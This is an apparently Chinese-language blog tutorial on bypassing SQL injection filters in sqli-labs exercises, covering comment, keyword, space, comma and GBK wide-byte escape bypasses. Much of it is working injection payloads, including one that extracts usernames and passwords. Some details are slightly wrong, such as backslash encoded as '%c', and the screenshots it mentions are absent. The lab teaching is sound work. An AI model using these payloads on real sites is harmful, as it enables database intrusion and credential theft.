sql过滤绕过
1.注释符号绕过
常用注释符:#、 -- 、%23

replace这个函数的意思是:如果用户提交的id(参数)中的数据存在reg这个字符,那么就会把这个reg替换掉成$replace,但是可以看到$replace为空,所以图片中代码的意思就是把id中的reg换成空白,也就是删掉
那么怎么绕过这种过滤呢?
字符型注入:(单引号闭合)

可以看到后端代码中是这样子写的语句
如果输入 id=1' and 1=1 #
这样子的话注释符号被过滤了的话,那么就会多个单引号,因为之前是用注释符号 把 (' LIMIT 0,1";) 这个语句给他注释掉

所以我们只需要在我们构造的语句后面再加上一个单引号或者利用 or '1'='1 再闭合一下即可
即

也就是如果是把注释符号换成单引号就行了
数字型注入:

如果是数字型的话,$id的2个单引号都没有了,也就是我们构造语句的时候,就不需要去闭合单引号和注释单引号了,直接用就行了
总结:
数字型: 不需要考虑闭合,直接用
字符型
原本语句

1.单引号闭合:只需要在后面加一个单引号即可
id=1'# -> id=1'' 或者 id=1' or '1'='1
2.双引号闭合:只需要在后面加一个双引号即可
id=1"# -> id=1''" 或者 id=1" or '1'='1
3.单引号括号闭合【')】:需要在多加个 or('1')=('1
id=1')# -> id=1') or ('1')=('1

4.双引号括号闭合【")】:需要在多加个 or("1")=("1
id=1")# -> id=1") or ("1")=("1

sql-lab 23关:https://www.cnblogs.com/xjrycd/articles/17713916.html
2. and 和 or 绕过
要注意的是 and和or的过滤 是只要出现这2个英文都会被过滤,而不是单独出现 and 和 or 才过滤
比如 ordey by 会被过滤为 der by
information 会被过滤为 infmation

通过后端代码可以看到, or 和and 都被 空白替换掉了
方法:
正常:?id=1' and 1=1 --+
绕过:
1、使用大小写:?id=1' anD 1=1 --+
2、复写过滤字符:?id=1' anandd 1=1 --+
3、用&&代替and,用||代替or:?id=1' && 1=1 --+
sql-lab 25关:https://www.cnblogs.com/xjrycd/articles/17714384.html
3.空格过滤
绕过办法
1.用加号
2.用url编码(根据环境不同,一个个试一下)
spaces %20
TAB 09 horizontal TAB %09
LF OA newline %0A
FF OC new page %0C
CR 0D carriage return %0D
VT 0B vertical TAB %0B
-OA-(MySQL only) %A0
3.使用报错注入 (不需要用空格)多用括号
limit 替换函数:mid()和substr(),两者用法相同
?id=2'||extractvalue(1,concat('~',(select(mid(group_concat(username,'~',passwoorrd),1,10))from(users))))||'1'='1
mid(text, start_num, num_chars)
text:文本 如group_concat(username,'~',passwoorrd)
start_num:从第几个字符开始
num_chars:返回字符的个数
sql-lab第26关https://www.cnblogs.com/xjrycd/articles/17714715.html
4.逗号过滤
用join代替逗号
union select 1,2,3 --+
等价于
union selec * from (select 1) join (select 2) join (select 3)c --+
由于靶场25-a中没有逗号过滤
所以我在这里加了逗号过滤的功能

sql-lab 25a:https://www.cnblogs.com/xjrycd/articles/17715640.html
5. union和select 绕过
1.尝试大小写
2.尝试复写单词
3. all绕过:union all select union和select 可能要大小写结合
4.拼接:uniunion selecton select 当union和select (红色部分)被过滤掉后, 原本剩下的uni on select 就组合成 union select 了
?id=0'%0AuniOn%0AseLect%0A1,database(),3%0Aor%0A'1'='1 (%0A为空格)
或者
?id=0'%0Aununionion%0AselEct%0A1,database(),3%0Aor%0A'1'='1
如

6.宽字节绕过
前提:当前的数据库编码格式为GBKB编码
addslashes()函数会在指定的预定义字符前添加反斜杠\,这些字符是单引号,双引号,反斜线(\),和NUL(NULL字符)
转义,例如在单引号'前添加反斜线“\”,则会转义没有功能性的的字符“'”
我们一般输入?id=1’,用单引号来闭合,如果存在addslashes()函数,则我们输入的语句会变成?id=1\’,从而闭合失败,无法查询到用户1
还有,如果我们输入的是?id=1\’,\会使得单引号'失去闭合功能,则数据库就会识别到“ 1' ”
所以就是因为有反斜杠的存在,才使得我们的注入失败
那么要进行绕过
就要
- 让 \ 失去作用
- 让 \ 消失
GBKB编码
上面说到单引号'会被转移为\,而\在url会被编码为%c
这时候如果我们在单引号'前面加上%df,那么%df和%c就会组成一个繁体字,从而使得反斜线失去它的功能。
下图为%df和%c结合 会转变为的繁体字的表

有个要注意的地方就是单引号无法正常使用,那么如果我要查找表名'user',那无法直接这样子写,而是要把表名’user‘转化为16进制编码
sql-lab第32关: https://www.cnblogs.com/xjrycd/articles/17715128.html

浙公网安备 33010602011771号